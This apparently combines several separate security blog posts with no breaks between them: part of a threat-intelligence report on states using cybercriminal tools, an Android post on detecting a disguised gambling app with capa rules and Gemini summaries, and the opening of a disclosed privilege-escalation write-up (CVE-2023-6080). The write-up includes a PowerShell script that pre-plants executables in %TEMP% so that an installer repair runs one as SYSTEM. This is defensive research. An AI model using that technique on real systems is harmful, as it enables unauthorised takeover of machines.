• APT44 also has a history of deploying disruptive malware built upon known ransomware variants. In October 2022, a cluster we assessed with moderate confidence to be APT44 deployed PRESSTEA (aka Prestige) ransomware against logistics entities in Poland and Ukraine, a rare instance in which APT44 deployed disruptive capabilities against a NATO country. In June 2017, the group conducted an attack leveraging ETERNALPETYA (aka NotPetya), a wiper disguised as ransomware, timed to coincide with Ukraine's Constitution Day marking its independence from Russia. Nearly two years earlier, in late 2015, the group used a modified BLACKENERGY variant to disrupt the Ukrainian power grid. BLACKENERGY originally emerged as a distributed denial-of-service (DDoS) tool, with later versions sold in criminal marketplaces.

UNC2589 (FROZENVISTA)

UNC2589, a threat cluster whose activity has been publicly attributed to the Russian General Staff Main Intelligence Directorate (GRU)'s 161st Specialist Training Center (Unit 29155), has conducted full-spectrum cyber operations, including destructive attacks, against Ukraine. The actor is known to rely on non-military elements including cybercriminals and private-sector organizations to enable their operations, and GTIG has observed the use of a variety of malware-as-a-service tools that are prominently sold in Russian-speaking cybercrime communities.

In January 2022, a month prior to the invasion, UNC2589 deployed PAYWIPE (also known as WHISPERGATE) and SHADYLOOK wipers against Ukrainian government entities in what may have been a preliminary strike, using the GOOSECHASE downloader and FINETIDE dropper to drop and execute SHADYLOOK on the target machine. US Department of Justice indictments identified a Russian civilian, who GTIG assesses was a likely criminal contractor, as managing the digital environments used to stage the payloads used in the attacks. Additionally, CERT-UA corroborated GTIG's findings of strong similarities between SHADYLOOK and WhiteBlackCrypt ransomware (also tracked as WARYLOOK). GOOSECHASE and FINETIDE are also publicly available for purchase on underground forums.

Turla (SUMMIT)

In September 2022, GTIG identified an operation leveraging a legacy ANDROMEDA infection to gain initial access to selective targets conducted by Turla, a cyber espionage group we assess to be sponsored by Russia's Federal Security Service (FSB). Turla re-registered expired command-and-control (C&C or C2) domains previously used by ANDROMEDA, a common commodity malware that was widespread in the early 2010s, to profile victims; it then selectively deployed KOPILUWAK and QUIETCANARY to targets in Ukraine. The ANDROMEDA backdoor whose C2 was hijacked by Turla was first uploaded to VirusTotal in 2013 and spreads from infected USB keys. 

While GTIG has continued to observe ANDROMEDA infections across a wide variety of victims, GTIG has only observed suspected Turla payloads delivered in Ukraine. However, Turla's tactic of piggybacking on widely distributed, financially motivated malware to enable follow-on compromises is one that can be used against a wide range of organizations. Additionally, the use of older malware and infrastructure may cause such a threat to be overlooked by defenders triaging a wide variety of alerts.

In December 2024, Microsoft reported on the use of Amadey bot malware related to cyber criminal activity to target Ukrainian military entities by Secret Blizzard, an actor that aligns approximately with what we track as Turla. While we are unable to confirm this activity, Microsoft's findings suggest that Turla has continued to leverage the tactic of using cybercrime malware.

APT29 (ICECAP)

In late 2021, GTIG reported on a campaign conducted by APT29, a threat group assessed to be sponsored by the Russian Foreign Intelligence Service (SVR), in which operators used credentials likely procured from an infostealer malware campaign conducted by a third-party actor to gain initial access to European entities. Infostealers are a broad classification of malware that have the capability or primary goal of collecting and stealing a range of sensitive user information such as credentials, browser data and cookies, email data, and cryptocurrency wallets.An analysis of workstations belonging to the target revealed that some systems had been infected with the CRYPTBOT infostealer shortly before a stolen session token used to gain access to the targets' Microsoft 365 environment was generated.

An example of the sale of government credentials on an underground forum

Use of Cybercrime Tools by Iran and China 

While Russia is the country that has most frequently been identified drawing on resources from criminal forums, they are not the only ones. For instance, in May 2024, GTIG identified a suspected Iranian group, UNC5203, using the aforementioned RADTHIEF backdoor in an operation using themes associated with the Israeli nuclear research industry.

In multiple investigations, the Chinese espionage operator UNC2286 was observed ostensibly carrying out extortion operations, including using STEAMTRAIN ransomware, possibly to mask its activities. The ransomware dropped a JPG file named "Read Me.jpg" that largely copies the ransomware note delivered with DARKSIDE. However, no links have been established with the DARKSIDE ransomware-as-a-service (RaaS), suggesting the similarities are largely superficial and intended to lend credibility to the extortion attempt. Deliberately mixing ransomware activities with espionage intrusions supports the Chinese Government's public efforts to confound attribution by conflating cyber espionage activity and ransomware operations.

Criminals Supporting State Goals

In addition to purchasing tools for state-backed intrusion groups to use, countries can directly hire or co-opt financially motivated attackers to conduct espionage and attack missions on behalf of the state. Russia, in particular, has leveraged cybercriminals for state operations.

Current and Former Russian Cybercriminal Actors Engage in Targeted Activity Supporting State Objectives

Russian intelligence services have increasingly leveraged pre-existing or new relationships with cybercriminal groups to advance national objectives and augment intelligence collection. They have done so in particular since the beginning of Russia's full-scale invasion of Ukraine. GTIG judges that this is a combination of new efforts by the Russian state and the continuation of ongoing efforts for other financially motivated, Russia-based threat actors that had relationships with the Russian intelligence services that predated the invasion. In at least some cases, current and former members of Russian cybercriminal groups have carried out intrusion activity likely in support of state objectives. 

CIGAR (UNC4895, RomCom)

CIGAR (also tracked as UNC4895 and publicly reported as RomCom) is a dual financial and espionage-motivated threat group. Active since at least 2019, the group historically conducted financially motivated operations before expanding into espionage activity that GTIG judges fulfills espionage requirements in support of Russian national interests following the start of Russia's full-scale invasion of Ukraine. CIGAR's ongoing engagement in both types of activity differentiates the group from threat actors like APT44 or UNC2589, which leverage cybercrime actors and tooling toward state objectives. While the precise nature of the relationship between CIGAR and the Russian state is unclear, the group's high operational tempo, constant evolution of its malware arsenal and delivery methods, and its access to and exploitation of multiple zero-day vulnerabilities suggest a level of sophistication and resourcefulness unusual for a typical cybercrime actor. 

Targeted intrusion activity from CIGAR dates back to late 2022, targeting Ukrainian military and government entities. In October 2022, CERT-UA reported on a phishing campaign that distributed emails allegedly on behalf of the Press Service of the General Staff of the Armed Forces of Ukraine, which led to the deployment of the group's signature RomCom malware. Two months later, in December 2022, CERT-UA highlighted a RomCom operation targeting users of DELTA, a situational awareness and battlefield management system used by the Ukrainian military.

CIGAR activity in 2023 and 2024 included the leveraging of zero-day vulnerabilities to conduct intrusion activity. In late June 2023, a phishing operation targeting European government and military entities used lures related to the Ukrainian World Congress, a nonprofit involved in advocacy for Ukrainian interests, and a then-upcoming NATO summit, to deploy the MAGICSPELL downloader, which exploited CVE-2023-36884 as a zero-day in Microsoft Word. In 2024, the group was reported to exploit the Firefox vulnerability CVE-2024-9680, chained together with the Windows vulnerability CVE-2024-49039, to deploy RomCom. 

CONTI

At the outset of Russia's full-scale invasion of Ukraine, the CONTI ransomware group publicly announced its support for the Russian government, and subsequent leaks of server logs allegedly containing chat messages from members of the group revealed that at least some individuals were interested in conducting targeted attacks,and may have been taking targeting directions from a third party. GTIG further assessed that former CONTI members comprise part of an initial access broker group conducting targeted attacks against Ukraine tracked by CERT-UA as UAC-0098. 

UAC-0098 historically delivered the IcedID banking trojan, leading to human-operated ransomware attacks, and GTIG assesses that the group previously acted as an initial access broker for various ransomware groups including CONTI and Quantum. In early 2022, however, the actor shifted its focus to Ukrainian entities in the government and hospitality sectors as well as European humanitarian and nonprofit organizations. 

Chinese-Language Operator Supports Espionage Goals  UNC5174 ("Uteus")

UNC5174 uses the "Uteus" hacktivist persona who has claimed to be affiliated with China's Ministry of State Security, working as an access broker and possible contractor who conducts for-profit intrusions. UNC5174 has weaponized multiple vulnerabilities soon after they were publicly announced, attempting to compromise numerous devices before they could be patched. For example, in February 2024, UNC5174 was observed exploiting CVE-2024-1709 in ConnectWise ScreenConnect to compromise hundreds of institutions primarily in the US and Canada, and in April 2024, GTIG confirmed UNC5174 had weaponized CVE-2024-3400 in an attempt to exploit Palo Alto Network's (PAN's) GlobalProtect appliances. In both cases, multiple China-nexus clusters were identified leveraging the exploits, underscoring how UNC5174 may enable additional operators.

Hybrid Groups Enable Cheap Capabilities

Another form of financially motivated activity supporting state goals are groups whose main mission may be state-sponsored espionage are, either tacitly or explicitly, allowed to conduct financially motivated operations to supplement their income. This can allow a government to offset direct costs that would be required to maintain groups with robust capabilities. 

Moonlighting Among Chinese Contractors  APT41

APT41 is a prolific cyber operator working out of the People's Republic of China and most likely a contractor for the Ministry of State Security. In addition to state-sponsored espionage campaigns against a wide array of industries, APT41 has a long history of conducting financially motivated operations. The group's cybercrime activity has mostly focused on the video game sector, including ransomware deployment. APT 41 has also enabled other Chinese espionage groups, with digital certificates stolen by APT41 later employed by other Chinese groups. APT41's cybercrime has continued since GTIG's 2019 report, with the United States Secret Service attributing an operation that stole millions in COVID relief funds to APT41, and GTIG identifying an operation targeting state and local governments.

Iranian Groups Deploy Ransomware for Disruption and Profit

Over the past several years, GTIG has observed Iranian espionage groups conducting ransomware operations and disruptive hack-and-leak operations. Although much of this activity is likely primarily driven by disruptive intent, some actors working on behalf of the Iranian government may also be seeking ways to monetize stolen data for personal gain, and Iran's declining economic climate may serve as an impetus for this activity.

UNC757 

In August 2024, the US Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Department of Defense Cybercrime Center (DC3) released a joint advisory indicating that a group of Iran-based cyber actors known as UNC757 collaborated with ransomware affiliates including NoEscape, Ransomhouse, and ALPHV to gain network access to organizations across various sectors and then help the affiliates deploy ransomware for a percentage of the profits. The advisory further indicated that the group stole data from targeted networks likely in support of the Iranian government, and their ransomware operations were likely not sanctioned by the Government of Iran. 

GTIG is unable to independently corroborate UNC757's reported collaboration with ransomware affiliates. However, the group has historical, suspected ties to the persona "nanash" that posted an advertisement in mid-2020 on a cybercrime forum claiming to have access to various networks, as well as hack-and-leak operations associated with the PAY2KEY ransomware and corresponding persona that targeted Israeli firms. 

Examples of Dual Motive (Financial Gain and Espionage)

In multiple incidents, individuals who have conducted cyber intrusions on behalf of the Iranian government have also been identified conducting financially motivated intrusion. 

• A 2020 US Department of Justice indictment indicated that two Iranian nationals conducted cyber intrusion operations targeting data "pertaining to national security, foreign policy intelligence, non-military nuclear information, aerospace data, human rights activist information, victim financial information and personally identifiable information, and intellectual property, including unpublished scientific research." The intrusions in some cases were conducted at the behest of the Iranian government, while in other instances, the defendants sold hacked data for financial gain. 

• In 2017, the US DoJ indicted an Iranian national who attempted to extort HBO by threatening to release stolen content. The individual had previously worked on behalf of the Iranian military to conduct cyber operations targeting military and nuclear software systems and Israeli infrastructure. 

DPRK Cyber Threat Actors Conduct Financially Motivated Operations to Generate Revenue for Regime, Fund Espionage Campaigns

Financially motivated operations are broadly prevalent among threat actors linked to the Democratic People's Republic of Korea (DPRK). These include groups focused on generating revenue for the regime as well as those that use the illicit funds to support their intelligence-gathering efforts. Cybercrime focuses on the cryptocurrency sector and blockchain-related platforms, leveraging tactics including but not limited to the creation and deployment of malicious applications posing as cryptocurrency trading platforms and the airdropping of malicious non-fungible tokens (NFTs) that redirect the user to wallet-stealing phishing websites. A March 2024 United Nations (UN) report estimated North Korean cryptocurrency theft between 2017 and 2023 at approximately $3 billion. 

APT38

APT38, a financially motivated group aligned with the Reconnaissance General Bureau (RGB), was responsible for the attempted theft of vast sums of money from institutions worldwide, including via compromises targeting SWIFT systems. Public reporting has associated the group with the use of money mules and casinos to withdraw and launder funds from fraudulent ATM and SWIFT transactions. In publicly reported heists alone, APT38's attempted thefts from financial institutions totaled over $1.1 billion USD, and by conservative estimates, successful operations have amounted to over $100 million USD. The group has also deployed destructive malware against target networks to render them inoperable following theft operations. While APT38 now appears to be defunct, we have observed evidence of its operators regrouping into other clusters, including those heavily targeting cryptocurrency and blockchain-related entities and other financials. 

UNC1069 (CryptoCore), UNC4899 (TraderTraitor)

Limited indicators suggest that threat clusters GTIG tracks as UNC1069 (publicly referred to as CryptoCore) and UNC4899 (also reported as TraderTraitor) are successors to the now-defunct APT38. These clusters focus on financial gain, primarily by targeting cryptocurrency and blockchain entities. In December 2024, a joint statement released by the US FBI, DC3, and National Police Agency of Japan (NPA) reported on TraderTraitor's theft of cryptocurrency then valued at $308 million USD from a Japan-based company.

APT43 (Kimsuky)

APT43, a prolific cyber actor whose collection requirements align with the mission of the RGB, funds itself through cybercrime operations to support its primary mission of collecting strategic intelligence, in contrast to groups focused primarily on revenue generation like APT38. While the group's espionage targeting is broad, it has demonstrated a particular interest in foreign policy and nuclear security, leveraging moderately sophisticated technical capabilities coupled with aggressive social engineering tactics against government organizations, academia, and think tanks. Meanwhile, APT43's financially motivated operations focus on stealing and laundering cryptocurrency to buy operational infrastructure. 

UNC3782

UNC3782, a suspected North Korean threat actor active since at least 2022, conducts both financial crime operations against the cryptocurrency sector and espionage activity, including the targeting of South Korean organizations attempting to combat cryptocurrency-related crimes, such as law firms and related government and media entities. UNC3782 has targeted users on cryptocurrency platforms including Ethereum, Bitcoin, Arbitrum, Binance Smart Chain, Cronos, Polygon, TRON, and Solana; Solana in particular constitutes a target-rich environment for criminal actors due to the platform's rapid growth. 

APT45 (Andariel)

APT45, a North Korean cyber operator active since at least 2009, has conducted espionage operations focusing on government, defense, nuclear, and healthcare and pharmaceutical entities. The group has also expanded its remit to financially motivated operations, and we suspect that it engaged in the development of ransomware, distinguishing it from other DPRK-nexus actors. 

DPRK IT Workers 

DPRK IT workers pose as non-North Korean nationals seeking employment at a wide range of organizations globally to generate revenue for the North Korean regime, enabling it to evade sanctions and fund its weapons of mass destruction (WMD) and ballistic missiles programs. IT workers have also increasingly leveraged their privileged access at employer organizations to engage in or enable malicious intrusion activity and, in some cases, extort those organizations with threats of data leaks or sales of proprietary company information following the termination of their employment.,

While DPRK IT worker operations are widely reported to target US companies, they have increasingly expanded to Europe and other parts of the world. Tactics to evade detection include the use of front companies and services of "facilitators," non-North Korean individuals who provide services such as money and/or cryptocurrency laundering, assistance during the hiring process, and receiving and hosting company laptops to enable the workers remote access in exchange for a percentage of the workers' incomes.

A Comprehensive Approach is Required

We believe tackling this challenge will require a new and stronger approach recognizing the cybercriminal threat as a national security priority requiring international cooperation. While some welcome enhancements have been made in recent years, more must—and can—be done. The structure of the cybercrime ecosystem makes it particularly resilient to takedowns. Financially motivated actors tend to specialize in a single facet of cybercrime and regularly work with others to accomplish bigger schemes. While some actors may repeatedly team up with particular partners, actors regularly have multiple suppliers (or customers) for a given service. 

If a single ransomware-as-a-service provider is taken down, many others are already in place to fill in the gap that has been created. This resilient ecosystem means that while individual takedowns can disrupt particular operations and create temporary inconveniences for cybercriminals, these methods need to be paired with wide-ranging efforts to improve defense and crack down on these criminals' ability to carry out their operations. We urge policymakers to consider taking a number of steps:

• Demonstrably elevate cybercrime as a national security priority: Governments must recognize cybercrime as a pernicious national security threat and allocate resources accordingly. This includes prioritizing intelligence collection and analysis on cybercriminal organizations, enhancing law enforcement capacity to investigate and prosecute cybercrime, and fostering international cooperation to dismantle these transnational networks.
• Strengthen cybersecurity defenses: Policymakers should promote the adoption of robust cybersecurity measures across all sectors, particularly critical infrastructure. This includes incentivizing the implementation of security best practices, investing in research and development of advanced security technologies, enabling digital modernization and uptake of new technologies that can advantage defenders, and supporting initiatives that enhance the resilience of digital systems against attacks and related deceptive practices.
• Disrupt the cybercrime ecosystem: Targeted efforts are needed to disrupt the cybercrime ecosystem by targeting key enablers such as malware developers, bulletproof hosting providers, and financial intermediaries such as cryptocurrency exchanges. This requires a combination of legal, technical, and financial measures to dismantle the infrastructure that supports cybercriminal operations and coordinated international efforts to enable the same.
• Enhance international cooperation: cybercrime transcends national borders, necessitating strong international collaboration to effectively combat this threat. Policymakers should prioritize and resource international frameworks for cyber threat information sharing, joint investigations, and coordinated takedowns of cybercriminal networks, including by actively contributing to the strengthening of international organizations and initiatives dedicated to combating cybercrime, such as the Global Anti-Scams Alliance (GASA). They should also prioritize collective efforts to publicly decry malicious cyber activity through joint public attribution and coordinated sanctions, where appropriate. 
• Empower individuals and businesses: Raising awareness about cyber threats and promoting cybersecurity education is crucial to building a resilient society. Policymakers should support initiatives that educate individuals and businesses about online safety, encourage the adoption of secure practices, empower service providers to take action against cybercriminals including through enabling legislation, and provide resources for reporting and recovering from cyberattacks.
• Elevate strong private sector security practices: Ransomware and other forms of cybercrime predominantly exploit insecure, often legacy technology architectures. Policymakers should consider steps to prioritize technology transformation, including the adoption of technologies/products with a strong security track record; diversifying vendors to mitigate risk resulting from overreliance on a single technology; and requiring interoperability across the technology stack.

aside_block

<ListValue: [StructValue([('title', 'The Evolution of Cybercrime'), ('body', <wagtail.rich_text.RichText object at 0x3ec3867710d0>), ('btn_text', 'Watch now'), ('href', 'https://www.youtube.com/watch?v=NtANWZPHUak'), ('image', <GAEImage: evolution of cybercrime>)])]>

About the Authors

Google Threat Intelligence Group brings together the Mandiant Intelligence and Threat Analysis Group (TAG) teams, and focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed attackers, targeted 0-day exploits, coordinated information operations (IO), and serious cybercrime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Mobile devices have become the go-to for daily tasks like online banking, healthcare management, and personal photo storage, making them prime targets for malicious actors seeking to exploit valuable information. Bad actors often turn to publishing and distributing malware via apps as a lucrative channel for generating illegal and/or unethical profits. 

Android takes a multi-layered approach to combating malware to help keep users safe (more later in the post), but while we continuously strengthen our defenses against malware, threat actors are persistently updating their malware to evade detection. Malware developers used to complete their entire malicious aggression using the common Android app development toolkits in Java, which is easier to detect by reversing the Java bytecode. In recent years, malware developers are increasing the use of native code to obfuscate some of the critical malware behaviors and putting their hopes on obscuration in compiled and symbol-stripped Executable and Linkable Format (ELF) files, which can be more difficult and time-consuming to reveal their true intentions.

To combat these new challenges, Android Security and Privacy Team is partnering with Mandiant FLARE to extend the open-source binary analysis tool capa to analyze native ARM ELF files targeting Android. Together, we improved existing and developed new capa rules to detect capabilities observed in Android malware, used the capa rule matches to highlight the highly suspicious code in native files, and prompted Gemini with the highlighted code behaviors for summarization to enhance our review processes for faster decisions.

In this blog post, we will describe how we leverage capa behavior-detection capabilities and state-of-art Gemini summarization by:

• Showcasing a malware sample that used various anti-analysis tricks to evade detections

• Explaining how our existing and new capa rules identify and highlighted those behaviors

• Presenting how Gemini summarizes the highlighted code for security reviews

An Illegal Gambling App Under a Music App Façade

Google Play Store ensures all published apps conform to local laws and regulations. This includes gambling apps, which are prohibited or require licenses in some areas. Developing and distributing illegal gambling apps in such areas can generate significant illicit profits, which sometimes is associated with organized crimes. To bypass Google Play Store's security-screening procedures, some gambling apps disguise themselves with harmless façades like music or casual games. These apps only reveal their gambling portals in certain geographic markets using various anti-analysis tricks. Unfortunately, dynamic analysis, such as emulation and sandbox detonation, relies on specific device configurations, and threat actors keep trying different combinations of settings to evade our detections. It's an ongoing game of cat and mouse!

In response, the Android Security and Privacy Team has evolved static analysis techniques, such as those that evaluate the behavior of a complete program and all its conditional logic. So, let's describe an app that violated Google Play Store rules and show how we can better detect and block other apps like it.

We received reports of a music app opening gambling websites for users in certain geographical areas. It used an interesting trick of hiding key behaviors in a native ELF file that has most symbols (except the exported ones) stripped and is loaded at runtime to evade detection.

When we decompiled the app into Java source code, using a tool like JEB Decompiler, we found that the app has a song-playing functionality as shown in "MainActivity" of Figure 1. This looks like benign behavior and is fully within the limits of Google Play Store policies.

However, there was a small region of initialization code that loads an ELF file as soon as the app is initialized when calling the onCreate function, as shown in com.x.y.z class of Figure 1. To fully understand the behavior of the entire app, we also had to reverse engineer the ELF file, which requires a completely different toolset.

Figure 1: How the app applies anti-analysis techniques

Using a tool like Ghidra, we decompiled the ARM64 ELF file into C source code and found that this app estimates the user's geographic location using timezone information ("Code Section 1" in Figure 1). The code implements a loop that compares the user's timezone with a list of target regions ("Data Section" in Figure 1).

If the user's location matches a value in the list ("Data Section" in Figure 1), this malware:

1. Downloads an encrypted DEX file from a remote server ("Code Section 2" in Figure 1)

2. Decrypts the downloaded DEX file ("Code Section 3" in Figure 1)

3. Loads the decrypted DEX file into memory ("Code Section 4" in Figure 1)

The loaded DEX file uses further server-side cloaking techniques and finally loads a gambling website (Figure 3) to the app users. Compared to the app icon in Figure 2, it is an obvious mismatch of the app's advertised functionality.

Figure 2: The app icon as published

Figure 3: The loaded gambling website in app

While there are many detection technologies, such as YARA, available for identifying malware distributed in ELF files, they are less resilient to app updates or variations introduced by threat actors. Fortunately, the Android Security and Privacy Team has developed new techniques for detecting malicious Android apps by inspecting their native ELF components. For example, in the gambling app in Figure 3, there are many API calls dynamically resolved via the Java Native Interface (JNI) that interact with the Android runtime. Our detection systems recognized these cross-runtime interactions and reason about their intent. We've enumerated behaviors commonly seen in Android malware, such as making ptrace API calls, extracting device information, downloading code from remote servers to local storage, and making various cryptographic operations via JNI, turning them into capa detections we can use to identify and block Google Play Store threats.

Let's now talk a little more about how this works.

Android capa Rules

capa is a tool that detects capabilities in executable files. You run it against a compiled program, and it tells you what it thinks the program can do. For example, capa might suggest that a file is a backdoor, is capable of installing services, or relies on HTTP to communicate.

Mandiant FLARE extended capa to support BinExport2, an architecture agnostic representation of disassembled programs. This enables capa to match capabilities for additional architectures and file formats, such as those supported by Ghidra and its BinExport2 plugin, with an initial focus on ARM64 ELF files. The Android Security and Privacy Team then created new capa rules focused specifically on detecting capabilities observed in ARM64 ELF files used by various Android malware samples. These proprietary rules alongside capa's open-source rules are used to detect malware capabilities as part of internal Android malware analysis pipelines.

Referring back to the gambling app in Figure 3, the following Google proprietary rules and open-source capa rules matched the malicious functions performing cloaking techniques for further inspection.

Proprietary rules:

• Make ptrace API calls

• Extract device configuration information via JNI on Android

• Extract timezone via JNI on Android

• Encode or decode data using Base64 via JNI on Android

• Encrypt or decrypt data using Cipher API via JNI on Android

Open-source capa rules:

• Create or open file

• Write file on Linux

• Read file on Linux

• Check file permission on Linux

• Create thread

• Reference Base64 string

Instead of browsing hundreds of thousands lines of obfuscated code, our analysts were able to quickly identify the evidence of the app's wrong-doings using the function addresses matching those rules and enforced on the app.

Gemini Summaries of capa Rule Matches

Safeguarding the Android ecosystem, our Android malware analysis pipelines scan millions of ELF files in-depth every day, each one containing thousands to millions of lines in their decompiled codes. On top of the fast-evolving Gemini capabilities in malware analysis, capa rules are able to select the most interesting code for Gemini summarization, with sharpened focus on a much smaller set of the most suspicious functions.

Figure 4: How capa rules and Gemini help our reviewers and automation

We asked Gemini to summarize the functions matched on capa rules from the earlier gambling app with the following prompt:

You are a world-class Android reverse engineer with malware analysis specialities. You are given a few functions from an ARM/AArch64 ELF file as part of an Android App, with their decompiled pseudo-C codes. You need to analyze these functions to

        1. summarize what these functions try to achieve

        2. decide whether any of them has code/behavior patterns that would be found in Android malware.

{some more instructions…}

…

These functions are decompiled by Ghidra into pseudo-C format as follows:

[function_1 content]

[function_2 content]

…

In your response, please give your overall verdict assessing the risk level using HIGH / MEDIUM / LOW in the beginning, and explain your rationale for each potential malicious behavior.

Gemini responded with the following suggestions:

VERDICT: HIGH RISK

The provided Android application code exhibits several concerning behaviors strongly indicative of malicious intent. The risk level is assessed as HIGH due to the presence of multiple red flags consistent with sophisticated Android malware techniques. The analysis below details the specific malicious behavior patterns observed:

1. Dynamic Code Loading (HIGH): The function comeOn demonstrates a pattern of dynamically loading and executing code. The app fetches files (potentially DEX or ELF) using getCacheFilePath and downloadFile, then attempts to execute them using getDexClassLoader. This is a classic technique for delivering malicious payloads after initial installation, allowing the malware to easily update its functionality and evade static analysis. The use of custom decryption (decryptFile, decryptAES) further enhances the obfuscation and anti-analysis capabilities, indicating a deliberate attempt to conceal the loaded code's true nature.

2. Custom Decryption and Execution (HIGH): The decryptFile function performs custom decryption of a file, likely to obfuscate the malicious payload. The decryption utilizes an AES algorithm, which adds a layer of complexity to the reversal process. In combination with the dynamic loading, this points strongly towards a sophisticated malware strategy. The decrypted file is then written to disk (fopen, fwrite) and executed using a custom class loader.

3. Time Cloaking (MEDIUM): thread_function incorporates time-based cloaking. It checks the user's timezone (getTimeZoneInfo) and potentially alters behavior if the timezone is not "America/Sao Paulo".  More importantly, it appends a timestamp ("?time=" + current time) to a string used for downloading further files. This suggests an attempt to evade detection by changing behavior based on the device's time and potentially making analysis more challenging by dynamically creating different network requests.

4. Network Cloaking (MEDIUM): thread_function exhibits additional cloaking behavior, though details are limited. The function interacts with network resources to download additional resources, showing its network-active nature. The data used in network operations are likely obfuscated through string manipulation and URL obfuscation, making identification and analysis difficult. The precise cloaking mechanisms used are not fully clear from the decompiled code, but the presence of this behavior is a significant concern.

5. Obfuscation Techniques (HIGH): The entire codebase uses extensive obfuscation techniques. The code is heavily reliant on complex data structures (deques, hash tables, trees) and intricate control flow. Function and variable names are nonsensical, hindering analysis. The use of multiple layers of indirection, combined with aggressive heap memory management (operator_new, operator_delete), makes the code difficult to understand and analyze. These obfuscation methods are typical of malware aiming to evade reverse engineering.

6. Anti-Debugging/Anti-Analysis Techniques (HIGH): The JNI_OnLoad function includes a call to ptrace(PTRACE_TRACEME, 0, 0, 0). This is a clear indicator of an attempt to detect debugging or analysis tools. If a debugger is attached, this function's behavior will likely differ; it could crash, stall the execution, or even hide its malicious code.

Conclusion:

The combination of dynamic code loading, custom decryption, sophisticated obfuscation, and anti-debugging techniques creates a high likelihood of malicious activity. The incomplete understanding of the role of several custom functions further aggravates the risk. The app's behavior is heavily contingent on received data and time-sensitive factors, raising serious concerns about its potential for wide-ranging malicious acts. Immediate action should be taken to contain and investigate this application further. A detailed sandbox analysis is critical to identify any network communications, file system manipulation, or other abusive activities.

As seen in the Gemini output, the Android ELF behaviors are explained clearly on the functions matched on capa rules.

In this particular example, Gemini helped to:

• Accentuate the function call sequences to perform dynamic code loading, where our analysts can easily inspect the key function calls getCacheFilePath and getDexClassLoader

• Identify the timezone extraction with the additional URL parameter hint, where our analysts may try to probe the malicious payload quickly and accurately

• Describe more potential suspicious behaviors (e.g. getDexClassLoader JNI call, URL obfuscation) for further rule-writing ideas

capa rules in Android together with Gemini summarization shows great potential for further malware detection with more advanced techniques. Our analysts are closely monitoring the malware trends and techniques in the market and writing up-to-date capa rules to catch the bad actors in the wild.

Android's Multi-Layered Security Approach

Android’s ever-evolving, multi-layered security approach includes integrating advanced features and working with developers and device implementers to keep the Android platform and ecosystem safe. This includes, but is not limited to:

• Advanced built-in protections: Google Play Protect automatically scans every app on Android devices with Google Play Services, no matter the download source. This built-in protection, enabled by default, provides crucial security against malware and unwanted software. Google Play Protect scans more than 200 billion apps daily and performs real-time scanning at the code-level on novel apps to combat emerging and hidden threats, like polymorphic malware. In 2024, Google Play Protect’s real-time scanning identified more than 13 million new malicious apps from outside Google Play. 

• Google Play and developer protections from malware: To create a trusted experience for everyone on Google Play, we use our SAFE principles as a guide, incorporating multi-layered protections that are always evolving to help keep Google Play safe. These protections start with the developers themselves, who play a crucial role in building secure apps. We provide developers with best-in-class tools, best practices, and on-demand training resources for building safe, high-quality apps. Every app undergoes rigorous review and testing, with only approved apps allowed to appear in the Play Store. Before a user downloads an app from Play, users can explore its user reviews, ratings, and Data safety section on Google Play to help them make an informed decision. 

• Engagement with the security research community: Google works closely with the security community on multiple levels, including the App Defense Alliance, to advance app safety standards. Android also collaborates with Google Threat Intelligence Group (GTIG) to address emerging threats and safeguard Android users worldwide.

Equipped with the fast-evolving Gemini, our analysts are able to spend less time on those sophisticated samples, minimising the exposure for malicious apps and ensuring the safety of Android ecosystems.

Acknowledgement

Special thanks to Willi Ballenthin, Yannis Gasparis, Mike Hunhoff, and Moritz Raabe for their support.

Written By: Jacob Paullus, Daniel McNamara, Jake Rawlins, Steven Karschnia

Executive Summary

• Mandiant exploited flaws in the Microsoft Software Installer (MSI) repair action of Lakeside Software's SysTrack installer to obtain arbitrary code execution.

• An attacker with low-privilege access to a system running the vulnerable version of SysTrack could escalate privileges locally.

• Mandiant responsibly disclosed this vulnerability to Lakeside Software, and the issue has been addressed in version 11.0.

Introduction

Building upon the insights shared in a previous Mandiant blog post, Escalating Privileges via Third-Party Windows Installers, this case study explores the ongoing challenge of securing third-party Windows installers. These vulnerabilities are rooted in insecure coding practices when creating Microsoft Software Installer (MSI) Custom Actions and can be caused by references to missing files, broken shortcuts, or insecure folder permissions. These oversights create gaps that inadvertently allow attackers the ability to escalate privileges.

As covered in our previous blog post, after software is installed with an MSI file, Windows caches the MSI file in the C:\Windows\Installer folder for later use. This allows users on the system to access and use the "repair" feature, which is intended to address various issues that may be impacting the installed software. During execution of an MSI repair, several operations (such as file creation or execution) may be triggered from an NT AUTHORITY\SYSTEM context, even if initiated by a low-privilege user, thereby creating privilege escalation opportunities.

This blog post specifically focuses on the discovery and exploitation of CVE-2023-6080, a local privilege escalation vulnerability that Mandiant identified in Lakeside Software's SysTrack Agent version 10.7.8.

Exploiting the SysTrack Installer

Mandiant began by using Microsoft's Process Monitor (ProcMon) to analyze and review file operations executed during the repair process of SysTrack's MSI. While running the repair process as a low-privileged user, Mandiant observed file creation and execution within the user's %TEMP% folder from MSIExec.exe.

Figure 1: MSIExec.exe copying and executing .tmp file in user's %TEMP% folder

Each time Mandiant ran the repair functionality, MSIExec.exe wrote a new .tmp file to the %TEMP% folder using a formula-based name, and then executed it. Mandiant discovered, through dynamic analysis of the installer, that the name generated by the repair function would consist of the string "wac" followed by four randomly chosen hex characters (0-9, A-F). With this naming scheme, there were 65,535 possible filename options.

Due to the %TEMP% folder being writable by a low-privilege user, Mandiant tested the behavior of the repair tool when all possible filenames already existed within the %TEMP% folder. Mandiant created a PowerShell script to copy an arbitrary test executable to each possible file name in the range of wac0000.tmp to wacFFFF.tmp.

# Path to the permutations file $csvFilePath = ‘.\permutations.csv’ # Path to the executable $exePath = ‘.\test.exe’ # Target directory (using the system’s temp directory) $targetDirectory = [System.IO.Path]::GetTempPath() # Read the csv file content $csvContent = Get-Content -Path $csvFilePath # Split the content into individual values $values = $csvContent -split “,” # Loop through each value and copy the exe to the target directory with the new name Foreach ($value in $values) { $newFilePath = Join-Path -Path $targetDirectory -ChildPath ($value + “.tmp”) Copy-Item -Path $exePath -Destination $newFilePath } Write-Output “Copy operation completed to $targetDirectory”

Figure 2: Creating all possible .tmp files in %TEMP%

Figure 3: Excerpt of .tmp files created in %TEMP%

